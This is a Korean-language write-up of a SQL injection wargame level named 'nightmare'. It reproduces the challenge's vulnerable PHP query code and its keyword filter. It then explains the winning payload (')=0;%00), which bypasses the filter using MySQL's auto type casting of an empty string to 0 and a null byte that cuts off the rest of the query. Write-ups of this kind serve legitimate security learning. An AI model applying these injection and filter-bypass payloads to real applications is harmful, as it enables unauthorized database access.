<?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); if(strlen($_GET[pw])>6) exit("No Hack ~_~"); $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("nightmare"); highlight_file(__FILE__); ?>
이름이 좀 무시무시한데
6자리 안되게해서 패스워드를 따내야 된단다
처음엔
pw=\%20||1in1-- 이런식으로 해서 점프하려했는데 잘보니까 주석이 될만한건 다 막혀있고 id에도 입력을 못한다. 그니까 즉.. 뒤의 id!='admin'도 써먹어야 한다.
고민좀하고 있는데 진짜 허망하게 힌트를 받았다
[22.06.17 01:59] 나이트메어인가 할차롄데
[22.06.17 01:59] 나이트메어가
[22.06.17 01:59] 오토 타입캐스트 쓰는거였던가
[22.06.17 02:03] 헐
[22.06.17 02:03] ㅎㄹ...
가끔은 어이없게 힌트를 얻기도 한다.
select id from prob_nightmare where pw=('')=0;') and id!='admin'
정답부터 적고 얘기하면 mysql 에서 문자열은 0이 되는데 0으로 매칭하면 참이 된다
이렇게도 할 수 있다
select id from prob_nightmare where pw=(''=1);') and id!='admin'
정답이 admin 을 선택하는게 아니고 단순히 아이디만 나오면 되는 것이기 때문에 쿼리를 어떻게 구성하던 상관없다.
여기서 이해해야할 것은 ''가 반환하는 값이 0이라는 것이다. (auto type cast)
그리고 뒤에 꼭 ;%00 를 붙여줘야 하는데 이게 바로 주석을 만드는 것이다. 주석은 # 이나 -- 밖에 없지 않냐.. 맞는데 여기서도 또 하나배운게,
mysql은 쿼리를 읽을떄 null을 만나면 멈춘다. 그러니까 여기서는 글자수도 맞추면서, 쿼리를 강제 중단 시키는 역할로 수행된다.
우회에 우회. 6글자! (7글자지만)